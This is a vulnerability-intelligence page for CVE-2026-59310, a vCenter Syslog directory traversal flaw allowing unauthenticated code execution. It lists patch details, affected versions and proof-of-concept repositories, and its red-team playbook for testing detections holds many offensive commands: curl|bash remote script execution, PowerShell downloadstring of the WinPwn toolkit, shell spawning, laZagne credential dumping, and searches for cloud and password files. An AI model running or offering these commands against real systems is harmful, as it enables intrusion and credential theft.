CVE-2026-59310
Overview
This vulnerability is a directory traversal flaw within the VMware vCenter Syslog server component of VMware Cloud Foundation. The root cause lies in insufficient validation of file path inputs, allowing crafted requests to access arbitrary filesystem locations. This improper sanitization enables manipulation of file paths processed by the Syslog server, exposing underlying system directories.
Vulnerability Description
VMware vCenter contains a directory traversal vulnerability in the Syslog server. A malicious actor with network access to vCenter may exploit this issue to execute arbitrary code.
Impact
An unauthenticated attacker with network access to the vCenter server can exploit this vulnerability to execute arbitrary code with system-level privileges. This enables full compromise of the affected VMware Cloud Foundation environment, including unauthorized access to sensitive data and control over virtual infrastructure. The exploit does not require user interaction or credentials, facilitating rapid lateral movement and potential disruption of cloud management operations.
Solution
VMware has released security advisory VMSA-2026-0001 addressing this issue in VMware Cloud Foundation. Users should apply the patches included in this advisory to affected vCenter versions immediately. Detailed patching instructions and version-specific fixes are available at the VMware security advisory portal: https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/38017. No workarounds are recommended; updating to the fixed versions is mandatory.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (27)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Vmware | Vcenter Server | All |
cpe:2.3:a:vmware:vcenter_server:*:*:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:-:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:a:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:b:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:c:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update1:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update1a:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update1b:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update1c:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update1d:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update1e:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update2:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update2a:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update2b:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update2c:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update2d:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update2e:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update3:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update3a:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update3b:*:*:*:*:*:*
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Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (5)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
ChinaRan0/CVE-2026-59310-POC
CVE-2026-59310-POC 仅用于自测,请勿用于攻击
|
ChinaRan0 | 4 | 4 | 2026-09-25 | View |
|
chu0119/vc-strike
VC-Strike — VMware vCenter CVE-2026-59310 (unauth root RCE) & CVE-2026-59309 (SRP auth bypass) authorized pentest suite....
|
chu0119 | 1 | 2 | 2026-10-01 | View |
|
BiuTrap/CVE-2026-59310
CVE-2026-59310 PoC
|
BiuTrap | 2 | 0 | 2026-08-17 | View |
|
vpxuser/CVE-2026-59310
ChinaRan0/CVE-2026-59310-POC 的优化版本。子命令、一次性 cron、带远端 PTY 的交互 shell。仅限授权测试。
|
vpxuser | 0 | 1 | 2026-09-29 | View |
|
HORKimhab/CVE-2026-59310
CVE-2026-59310
|
HORKimhab | 0 | 0 | 2026-08-17 | View |
Threat Feed
33 eventsSighting activity recorded
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CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Sighting activity recorded
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Active exploitation confirmed with 789 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-59310 |
| support.broadcom.com |
GitHub CVE
|
https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/38017 |
| medium.com |
NVD API
Third Party Advisory
|
https://medium.com/@quirso_de/active-exploitation-of-cve-2026-59310-361-victim-ips-across-47-countries-9783187cc6ff |
| medium.com |
NVD API
Third Party Advisory
|
https://medium.com/@quirso_de/global-exploitation-of-cve-2026-59310-by-suspected-chinese-nexus-apt-related-cve-2026-59309-443a79e1466d |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-59310 |